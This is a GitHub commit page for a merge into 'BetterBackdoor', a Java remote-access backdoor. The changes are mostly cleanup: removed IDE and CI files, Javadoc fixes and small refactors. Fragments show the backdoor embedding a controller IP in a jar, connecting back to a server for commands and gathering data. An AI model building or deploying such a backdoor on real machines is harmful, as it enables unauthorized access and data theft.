Skip to content

Commit

Permalink
Merge pull request #20 from ThatcherDev/develop
Browse files Browse the repository at this point in the history
Fixed bug with unziping
  • Loading branch information
thatcherclough authored Apr 24, 2020
2 parents 7a6208a + ebc5229 commit bfb862b
Show file tree
Hide file tree
Showing 15 changed files with 316 additions and 383 deletions.
44 changes: 0 additions & 44 deletions .classpath

This file was deleted.

6 changes: 3 additions & 3 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
/target/
/.settings/
/.vscode/
/jre/
/backdoor/
.DS_Store
/*.jar
/gathered
/gathered
/.idea/
BetterBackdoor.iml
20 changes: 0 additions & 20 deletions .project

This file was deleted.

6 changes: 0 additions & 6 deletions .travis.yml

This file was deleted.

2 changes: 0 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,4 @@
# BetterBackdoor
[![Build Status](https://travis-ci.org/ThatcherDev/BetterBackdoor.svg?branch=master)](https://travis-ci.org/ThatcherDev/BetterBackdoor)

A backdoor is a tool used to gain remote access to a machine.

Typically, backdoor utilities such as NetCat have two main functions: to pipe remote input into cmd or bash and output the response.
Expand Down
10 changes: 3 additions & 7 deletions src/main/java/com/thatcherdev/betterbackdoor/BetterBackdoor.java
Original file line number Diff line number Diff line change
Expand Up @@ -37,11 +37,7 @@ public static void main(String[] args) {
+ "or over the internet, WAN (requires port forwarding):");
System.out.println("[0] LAN");
System.out.println("[1] WAN (requires port forwarding)");
String ipType = null;
if (getInput("op01").equals("0"))
ipType = "internal";
else
ipType = "external";
String ipType = getInput("op01").equals("0") ? "internal":"external";

boolean jre = false;
if (os.contains("Windows")) {
Expand Down Expand Up @@ -81,7 +77,7 @@ public static void main(String[] args) {
}

/**
* Gets user input and verify it's validity with {@link type}.
* Gets user input and verify it's validity with {@code type}.
*
* @param type type of input
* @return user input
Expand Down Expand Up @@ -114,7 +110,7 @@ else if (type.equals("yn"))
}

/**
* Displays "An error occurred" followed by {@link errorMessage} and exits.
* Displays "An error occurred" followed by {@code errorMessage} and exits.
*
* @param errorMessage error message to display
*/
Expand Down
17 changes: 8 additions & 9 deletions src/main/java/com/thatcherdev/betterbackdoor/Setup.java
Original file line number Diff line number Diff line change
Expand Up @@ -24,16 +24,16 @@ public class Setup {
/**
* Sets up backdoor.
* <p>
* If {@link packageJre} is true, copies the current machines JRE to directory
* 'backdoor' and {@link #createBat(String, String, String)} is used to create a
* '.bat' file for running the backdoor in the JRE. If {@link packageJre} is
* If {@code packageJre} is true, copies the current machines JRE to directory
* 'backdoor' and {@code #createBat(String, String, String)} is used to create a
* '.bat' file for running the backdoor in the JRE. If {@code packageJre} is
* false but directory 'jre' containing a Windows JRE distribution exists, 'jre'
* is copied to 'backdoor' and {@link #createBat(String, String, String)} is
* is copied to 'backdoor' and {@code #createBat(String, String, String)} is
* used to create a '.bat' file for running the backdoor in the JRE. 'run.jar'
* is copied from 'target' to 'backdoor' and 'ip' is appended into it using
* {@link #appendJar(String, String, String)}. If {@link ipType} is "internal",
* {@code #appendJar(String, String, String)}. If {@code ipType} is "internal",
* 'ip' will contain the internal IP address of the current machine. Otherwise,
* if {@link ipType} is "external", 'ip' will contain the external IP address of
* if {@code ipType} is "external", 'ip' will contain the external IP address of
* the current machine.
*
* @param packageJre if a JRE should be packaged with the backdoor
Expand Down Expand Up @@ -75,8 +75,8 @@ private static void createBat(String filePath) throws FileNotFoundException {
}

/**
* Appends a new file with name {@link filename} and contents
* {@link fileContents} into existing jar file with name {@link jarFile}.
* Appends a new file with name {@code filename} and contents
* {@code fileContents} into existing jar file with name {@code jarFile}.
*
* @param jarFile name of jar file to append
* @param filename name of new file to append in jar
Expand All @@ -90,7 +90,6 @@ private static void appendJar(String jarFile, String filename, String fileConten
try (Writer writer = Files.newBufferedWriter(fileSystem.getPath(filename), StandardCharsets.UTF_8,
StandardOpenOption.CREATE)) {
writer.write(fileContents);
writer.close();
}
}
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ public static void main(String[] args) {
* Uses {@link #readFromJar(String)} to get the contents of "ip", a text file
* inside the jar file this class will be running from. This file contains the
* IP address of the server to be used to control the backdoor. Sets {@link #ip}
* to this address. Creates directory {@link gatheredDir}.
* to this address. Creates directory {@code gatheredDir}.
*/
private Backdoor() {
try {
Expand All @@ -56,7 +56,6 @@ private void start() {
break;
} catch (Exception e) {
Thread.sleep(3000);
continue;
}
in = new Scanner(socket.getInputStream());
out = new PrintWriter(socket.getOutputStream(), true);
Expand All @@ -80,14 +79,14 @@ private void start() {
}

/**
* Gets the contents of the file with the name {@link filename} from inside the
* Gets the contents of the file with the name {@code filename} from inside the
* jar file this class will be running from.
*
* @param filename name of the file to get contents of
* @return contents of the file
*/
private String readFromJar(String filename) {
String ret = null;
String ret;
Scanner in = new Scanner(getClass().getResourceAsStream(filename));
ret = in.nextLine();
in.close();
Expand Down
Loading

0 comments on commit bfb862b

Please sign in to comment.